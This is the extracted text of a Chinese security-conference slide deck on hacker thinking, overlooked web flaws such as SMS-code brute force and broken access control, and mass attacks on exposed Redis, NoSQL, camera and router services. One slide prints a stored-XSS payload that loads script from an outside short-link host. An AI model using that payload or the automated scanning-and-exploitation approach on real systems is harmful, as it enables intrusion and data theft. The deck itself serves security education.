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微博：http://weibo.com/fooying
知乎专栏：http://zhuanlan.zhihu.com/fooying

Fooying

来自知道创宇安全研究团队404
安全研究员，产品经理



安全研究人员
08年接触黑客与安全，4年安全行业工作经验
在 KCon、WOT2014、ISF 等会议上做过安全
相关演讲，给腾讯、微软、阿里等报送过漏洞

程序猿
软件技术专业毕业，学过.net、PHP等，
Pythoner，自学会点前端、会点 PS 等

半吊子产品经理
负责知道创宇漏洞社区，是Seebug.org 产品
经理，同步算是ZoomEye.org、Kcon 官网等
平台产品经理
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01 黑客与黑客思维



什么是黑客？

创造与突破，守正出奇



创造与突破



</textarea>'"><script 
src=http://t.cn/RqJZS
Mo></script>



看到框就想X





02 那些被忽略的安全问题



轻而易举突破的限制



轻而易举突破的限制

手机号注册

发送短信验
证码

输入验证码

注册成功

可以使用注
册手机号拨
打电话

四位数字

任意手机号码

无验证限制暴力破解

最多
10000次

任意号码给任意人拨打电话，比如1399999999



利用流程



利用流程



不可信的安全来源



不可信的安全来源

突变型XSS，也称mXSS



不可信的安全来源



不可信的安全来源

1、登录注册跳转链接的可替换导致的XSS

2、拍拍网店存储型XSS利用QQ昵称构造 Payload

…



失效的权限控制

1、平行权限

2、越权操作

…

http://www.example.com/detail.php?userid=123



那些被忽略的安全问题

1、验证无限制
2、平行权限
3、密码重置
4、身份伪造
5、撞库攻击
…



03 你不知道的点到面的攻击



漏洞应急与研究

黄金应急时间

1h 6h 12h 24h



漏洞应急与研究

应急流程

漏洞爆发 获取信息 验证分析 漏洞利用

编写PoC撰写Paper 添加规则对外发布



漏洞应急与研究



Redis 未授权访问可导致被黑



面的攻击

1、自动化的获取存在该漏洞的目标

2、漏洞验证脚本

3、自动化的获取目标+调用验证脚本



自动化面的攻击



面的攻击

根据 ZoomEye 最新于2015年11月12日0点探测结果显示：
总的存在无验证可直接利用 Redis 服务的目标全球有49099，其中
中国有16477。其中已经被黑的比例分别是全球65%（3.1万），中
国67.5%（1.1万）。



面的攻击



面的攻击

面，思考其他NoSQL

Memcached、ElasticSearch、 MongoDB …

至少4.7万个MongoDB IP在网络空间里暴露

无口令的至少有3.8万IP，其中6.7万个DB



面的攻击

ElasticZombie

https://www.recordedfuture.com/elasticzombie-botnet-
analysis/



面的攻击

ElasticZombie



面的攻击

ElasticZombie



面的攻击

ElasticZombie



面的攻击
摄像头风险



面的攻击
摄像头风险



面的攻击

摄像头风险



面的攻击

路由器威胁

ZoomEye 路由器专题 
https://www.zoomeye.org/project/router



面的攻击
D-Link 后门



D-Link 后门



面的攻击



面的攻击
磊科(NetCore)路由器 后门

2014/8/25，趋势科技研究员Tim Yeh发文描述了磊科疑似后门的
igdmptd程序，全球有200多万台磊科路由受影响

2014/10/3，Tim Yeh再次发文称磊科官方发布了新版固件，但新固
件中只是默认关闭了「后门」程序，而并未将其删除。ShadowServer
的统计受影响路由器仍有100多万台

2014/12/28，国内研究员h4ckmp发文详细分析了该「后门」

2014/12/31，ZoomEye Team进行了细节验证并发文

2015/9，ZoomEye Team的探测发现UDP 53413端口的IP总数约
为140万，其中110万左右是存在后门的磊科路由器，占比近80%

其中95%在中国:(



面的攻击
工控安全



面的攻击
工控安全



面的攻击
工控安全



04 成为一名黑客



如何成为一名黑客

1、保持你的好奇心

2、对一切都可以持怀疑态度

3、突破，转换思维，学会不同角度看待问题

守正出奇




